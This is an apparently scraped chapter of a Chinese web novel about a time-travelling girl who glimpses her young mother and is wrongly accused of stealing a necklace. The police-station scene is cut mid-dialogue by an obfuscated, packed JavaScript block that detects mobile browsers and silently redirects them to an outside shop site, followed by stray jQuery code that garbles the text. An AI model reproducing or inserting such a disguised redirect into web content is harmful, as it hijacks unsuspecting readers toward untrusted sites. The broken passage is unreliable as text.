文趣网 > 都市小说 > 回到你的年少时 > 9. 初相逢各唱红白脸6
    “幸运,糖竟然还在我身上。”岁杳脸上缓缓露出一个笑容,扶上楼梯,摸着黑,缓步往下走,讷讷地说,“不知道下一次倒计时重置,还会不会再见到陈昭。”

    岁杳神色稍霁,准备回黑旅馆,除了要睡觉,重要的是,没吃完的面包还在那里。

    不过,比起这个,现在更重要的是判断到底闪现到哪里来了。

    岁杳回想刚才看见的门牌号,11-5。

    十一楼,老式步行梯,连电梯都没有,怎么跟她那个家一模一样的惨。

    岁杳借着外面的微弱的月光,瞧了一眼旁边的门牌号。她不禁叹口气,五楼,走半天也才到五楼。

    岁杳继续往下走,注意到楼下的一户人家半开着门,门缝里露出些光,照亮了她的前路。她心中一喜,立马加快脚步往下走。

    在岁杳即将经过那扇门时,里面的人突然把门推开,她脚步变慢,逐渐迟疑。

    那人侧站着,整张脸一览无余地暴露在微光中,对门内的人温声嘱托:“我出门买点苹果,不用留门,很快就回来。”

    刹那间,岁杳只感觉一阵冰冷的血液冲入头顶,那张脸带来的致命寒意,瞬间顺着她的背脊爬上脑髓。

    门口的人像是感觉到有人看着她,倏然抬头,看清是个纯良无害小姑娘后,神情稍缓,站在门口继续不放心地交代。

    岁杳根本听不清她在说些什么。现在,她的大脑一片轰鸣,被迫听了几句温言软语,才猛地一个激灵,就像是从一个噩梦中挣脱出来一样全身震颤,好几秒钟后才恢复正常,低着头继续往下走,与之擦肩而过。

    同一时间,岁杳听到身后,也就是门内的人甜声回应:“知道啦妈妈。”终于,她三步并作两步往下跨,飞速逃离,从背后看像是落荒而逃。

    岁杳疯一般地乱跑,穿梭于各种商贩与热闹喧嚣。

    她望着街边一排排熟悉又没那么熟悉的白墙红瓦的吉房,总算知道自己身处何地。

    岁杳一口气跑了这么远,跑得双腿酸软,甚至无法在迈出一步,才俯下身来,大口喘气。

    她的双手紧按在膝盖的皮肉上,指甲和关节都泛出青白色,用力之大恨不得扣开血肉,直至鲜血淋漓。

    穿梭到十九年前的故地,岁杳什么都没有,她在这里仿若世界之外,每走一步都要自己精打细算,生活、睡觉、找到结束的办法。所有的计划和想法,只有一个词总结:孤立无援。

    难道真就没有一个人能帮她吗?

    当然有,但也不是完全有。

    岁杳刻意忽略,刻意遗忘的人。就在刚刚,如疾风如闪电,赤裸裸闪劈在眼前。

    她的家人,她的血缘至亲,她妈妈的妈妈,她的外婆。

    岁杳痛苦地闭上眼睛,恨自己过目不忘,刚才那张慈眉善目的脸怎么也忘不掉。

    她不想去找她,更不想去面对曾经幻想过的那个人。

    活着的....还没死的妈妈。

    岁杳从小就没有爸爸,没有妈妈。只有外婆一个亲人。

    她的外婆告诉她,妈妈是为了生她才死的,她是罪人,她才是最该死的,至于爸爸,外婆说:“不记得,早死了。”

    刚才的女声。

    是她的妈妈。

    为什么不见面。

    岁杳害怕.......不敢。

    岁杳思绪飞扬,突然,有一个人飞身而过,她猝不及防被撞得打了个踉跄。

    她还未来得及发怒,那人跌跌撞撞骂骂咧咧地跑掉了。

    岁杳无语:“?什么人啊。”

    旋即,岁杳眼尖注意到地上有什么东西闪着光。她心有疑,但没有多想,弯腰捡起来,放在眼下仔细一看,顿时大惊。

    不得了,宝格丽项链!

    烫手山芋啊!

    怕什么来什么,身后传来一声娇声呵斥:“小偷,哪里跑!”

    眨眼间,岁杳手腕一紧,被扯得往后又是一个踉跄,直直迎上一双怒气冲冲、熟悉的美眸。

    黄玫语气喘吁吁,抓着人不放,紧紧盯着她手上的项链,咬牙切齿道:“你以为你装成路人我就认不出你了吗?”

    警察局内,明亮的前厅里。

    岁杳坐在铁冷的铁凳上,左手背拍右手心好几下,厉声道:“还要我说多少遍。第一,我纯路过,被真小偷撞了,倒霉的手贱的,又把小偷撞掉的赃物捡起来想看是个什么玩意。第二,我请问呢,那个小偷是个有眼睛的人都看得出来是个男人吧!瘦、高、的、男、人!”

    黄玫语哼道:“我只看到我的项链藏在你的手里!”

    岁杳呵道:“那你没眼睛就不能怪我了。”

    黄玫语生气:“你说谁没眼睛!我只看到一个黑影从我房间翻了出去,我又没看清楚,我怎么知道是男的还是女的!”

    岁杳无语:“自相矛盾。你自己都说了没看清楚,那你好意思冤枉到我头上!道歉!”

    黄玫语一下子站起来,剑拔弩张:“我凭什么跟你道歉!你满嘴谎话,我的项链就在你的手里,我不抓你还抓谁!”

    岁杳同样站起来,嗤了声:“你能不能讲道理啊,没道理讲证据吧。”

    一名漂亮的女警察挡在两人中间,一脸汗颜:“两位小朋友,先不要着急,这边在调监控了。”

    岁杳不是好惹的,她说:“警察姐姐,这人胡搅蛮缠早把小偷放跑了,现在就是在胡乱发脾气。”

    黄玫语脑仁炸开,脾气一下子就上来了:“你说什么,谁发脾气了,你一直顾左言他,混淆视听,是你干的你以为跑得掉吗?”

    岁杳瞥开眼:“多说无益。不是我干的我当然跑得掉。倒是你,不讲道理地要报警抓我,你不觉得你欠我一个道歉吗?”

    女警察挡着两人:“诶诶两位小朋友,这里是警察局。不是你们吵架的地方。”

    黄玫语瞪上岁杳:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722021|208712||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “强词夺理!”

    岁杳抱着手,呛回去:“蛮横无理!”

    女警察头疼。

    被教育了一顿,两人谁都看对方不顺眼,但也静坐不语。只是一个瞪眼,一个白眼。谁也不服气。

    岁杳当然认出来这是有过一面之缘的大小姐。她知道大小姐脾气差,但仅存在于印象中,从未想过有一天这把火会烧到自己身上。

    女警察无奈叹口气,又正色说:“你们两个小朋友未成年吧。大半夜的发生这样的事,必须喊你们监护人来接。”

    监护人?

    岁杳她自己就是一个黑户,哪有人来接,顿时乱了。

    黄玫语手放膝上,微微攥紧,想到什么,又横了一眼岁杳。

    岁杳莫名其妙,但心慌得一批,没空理她。

    女警察手拿小本子和黑笔,先是单膝微蹲在黄玫语面前,温柔道:“小朋友,你家里人的电话告诉一下姐姐好不好?”

    黄玫语微蹙着眉,犹豫了一下,缓缓说出一串号码。

    接着,是岁杳。

    岁杳哈哈一笑,企图蒙混过关:“姐姐,其实我成年了。”

    女警察微笑,不容拒绝道:“号码。”

    岁杳说:“.......我记性不好,号码记不清。我能报名字吗,警察局应该有登记座机号码。”

    女警察犹豫说:“行。”

    片刻后。

    监控结果出来,女警察先是公布真相,岁杳是清白的。

    岁杳小手一甩,昂首说:“你冤枉我,道歉。”

    黄玫语瞪着她,手掐着大腿,咬唇不语,一副傲容,且绝不低头的做派。

    岁杳没理由对冒犯自己的人好脸色,说:“哼,我也看明白了,你就是这样的人。”

    黄玫语脸色立马变了,怒道:“我是什么样的人!?”

    女警察打断两人又快掐起来的气氛,对岁杳说:“对了,你家里人一会儿就来了。”

    然后又对黄玫语说道:“没人接,你家人应该有事儿,我再多打打。”

    岁杳呆了一下,愕然。黄玫语愣了一下,失落。

    不知道过了多久。

    就在岁杳快要原地昏睡过去的时候,头顶响起一道清冷嗓音:“原来你还需要睡觉?”

    岁杳猛然清醒,睁开眼,往后仰了仰头,目光惊愕扫向上方的少年。

    岁杳神情意外说:“我没想到你真的会来......”

    陈昭不咸不淡说:“我也没想到,我会在大半夜接到警察局电话让我这个监护人来捞人。”

    岁杳眼神乱飘,曲着右手指刮了刮鼻尖:“哈哈。”

    陈昭再次说出那个词:“阴魂不散?”

    岁杳这次真不好反驳:“嘿。”

    夜色沉沉,蓝调时刻。岁杳跟在陈昭身后,回头看去,只见黄玫语一个人双手抱膝,孤零零缩在冷板凳的阴暗角落,正注目望来。